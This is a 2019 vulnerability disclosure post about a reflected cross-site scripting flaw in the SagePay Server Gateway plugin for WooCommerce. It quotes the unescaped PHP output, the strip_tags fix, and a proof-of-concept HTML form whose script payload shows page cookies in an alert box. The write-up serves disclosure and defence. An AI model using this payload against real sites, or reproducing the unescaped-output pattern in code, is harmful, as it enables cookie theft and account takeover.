12 Sep 2019

Vulnerability Details: Reflected Cross-Site Scripting (XSS) in SagePay Server Gateway for WooCommerce

The changelog for the latest version of the plugin SagePay Server Gateway for WooCommerce is “Updated the plugin to security vulnerability and make it more secure.” Looking at the changes made in that version we found that there was at least a reflected cross-site scripting (XSS) vulnerability fixed in that version.

The plugin registers the function successful_request() to be accessible through WooCommerce’s API:

96
add_action( 'woocommerce_api_woocommerce_sagepayserver', array( $this, 'successful_request' ) );

That function will output the value of the variable $params without escaping it:

468
469
470
471
472
473
      $param_string = "";
      foreach( $params as $key => $value ) {
        $param_string .= $key . "=" . $value  . $eoln;
			}
      ob_clean();
      echo $param_string;

Earlier in the code as of the previous version if the POST input “Status” was set to “ABORT” the value of the POST input “StatusDetail” would be included in the variable $params without being escaped:

445
446
				}elseif( $_POST['Status'] == 'ABORT' ){
					$params = array('Status' => 'INVALID', 'StatusDetail' => __('Transaction aborted - ', 'patsatech-woo-sagepay-server') . $_POST['StatusDetail'] );

In the new version that value is sanitized using striptags():

456
$params = array('Status' => 'INVALID', 'StatusDetail' => __('Transaction aborted - ', 'patsatech-woo-sagepay-server') . strip_tags($_POST['StatusDetail']) );

That code should probably be better secured and there may be other security issues still remaining within that function.

Proof of Concept

The following proof of concept will cause any available cookies to be shown in an alert box,. Major web browsers other than Firefox provide XSS filtering, so this proof of concept will not work in those web browsers.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/?wc-api=woocommerce_sagepayserver" method="POST">
<input type="hidden" name="VendorTxCode" value="test-test-10" />
<input type="hidden" name="StatusDetail" value='"><script>alert(document.cookie);</script>' />
<input type="hidden" name="Status" value="ABORT" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Leave a Reply

Your email address will not be published.